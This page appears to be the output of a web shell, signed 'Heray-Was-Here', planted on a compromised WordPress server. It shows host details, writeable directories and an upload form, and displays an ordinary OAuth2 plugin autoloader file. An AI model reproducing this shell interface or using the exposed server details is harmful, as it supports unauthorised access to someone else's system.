Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/store/wp-content/plugins/oauth2-provider/library/WPOAuth2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/store/wp-content/plugins/oauth2-provider/library/WPOAuth2/Autoloader.php
<?php

namespace WPOAuth2;

/**
 * Autoloads OAuth2 classes
 *
 * @author  Brent Shaffer <bshafs at gmail dot com>
 * @license MIT License
 */
class Autoloader {

	private $dir;

	public function __construct( $dir = null ) {
		if ( is_null( $dir ) ) {
			$dir = dirname( __FILE__ ) . '/..';
		}
		$this->dir = $dir;
	}

	/**
	 * Registers OAuth2\Autoloader as an SPL autoloader.
	 */
	public static function register( $dir = null ) {
		ini_set( 'unserialize_callback_func', 'spl_autoload_call' );
		spl_autoload_register( array( new self( $dir ), 'autoload' ) );
	}

	/**
	 * Handles autoloading of classes.
	 *
	 * @param string $class A class name.
	 *
	 * @return boolean Returns true if the class has been loaded
	 */
	public function autoload( $class ) {
		if ( 0 !== strpos( $class, 'WPOAuth2' ) ) {
			return;
		}

		if ( file_exists( $file = $this->dir . '/' . str_replace( '\\', '/', $class ) . '.php' ) ) {
			include $file;
		}
	}
}

Hry